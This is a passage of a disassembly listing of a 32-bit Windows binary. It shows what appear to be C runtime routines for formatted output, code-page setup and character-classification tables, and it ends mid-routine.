		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------


loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_43C510
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------


loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1


loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43C8A0
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8AC
		pop	ecx


loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8A4
		pop	ecx


loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi


loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------


loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_43C510
		mov	[ebp+var_8], ecx


loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx


loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8


loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7


loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------


loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h


loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah


loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax


loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx


loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03


loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------


loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0


loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------


loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0


loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E


loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]


loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------


loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9


loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax


loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h


loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1


loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h


loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------


loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h


loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB


loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------


loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]


loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26


loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C


loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DC6C4
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_43C520


loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43C610
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 28A0000h
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC7E0
		cmp	[ebp+var_18], 1
		mov	dword_4DC6C4, esi
		rep stosd
		stosb
		mov	dword_4DC8E4, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]


loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4DC7E1[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------


loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC7E0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43C530[esi]


loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2


loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43C518[edx]


loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4DC7E1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90


loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76


loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4DC6DC, 1
		push	eax
		mov	dword_4DC6C4, eax
		call	sub_42008C
		lea	esi, dword_43C524[esi]
		mov	edi, offset dword_4DC6D0
		movsd
		movsd
		pop	ecx
		mov	dword_4DC8E4, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30


loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax


loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4DC7E1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4DC8E4, eax
		mov	dword_4DC6DC, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4DC6DC, ebx


loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4DC6D0
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4DB300, ebx
		jz	short loc_42003A


loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF


loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8


loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------


loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh


loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DB300, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4DB300, 1
		nop
		jmp	near ptr 2650918h
; ---------------------------------------------------------------------------


loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4DB300, 1
		jmp	near ptr 28A06F8h
; ---------------------------------------------------------------------------
		db 0E3h
; ---------------------------------------------------------------------------


loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4DB344
		mov	dword_4DB300, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DC7E0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DC6D0
		mov	dword_4DC6C4, eax
		mov	dword_4DC6DC, eax
		mov	dword_4DC8E4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DC6C4
		nop
		call	near ptr 28A0000h
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h


loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx


loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DC8E4
		push	dword_4DC6C4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DC6C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DC8E4
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DC6C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DC8E4
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4DC7E1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4DC6E0[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------


loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4DC7E1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------


loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4DC6E0[eax], 0


loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
; ---------------------------------------------------------------------------


loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4DC7E1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4DC6E0[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------


loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4DC7E1[eax], 20h
		mov	cl, al
		sub	cl, 20h
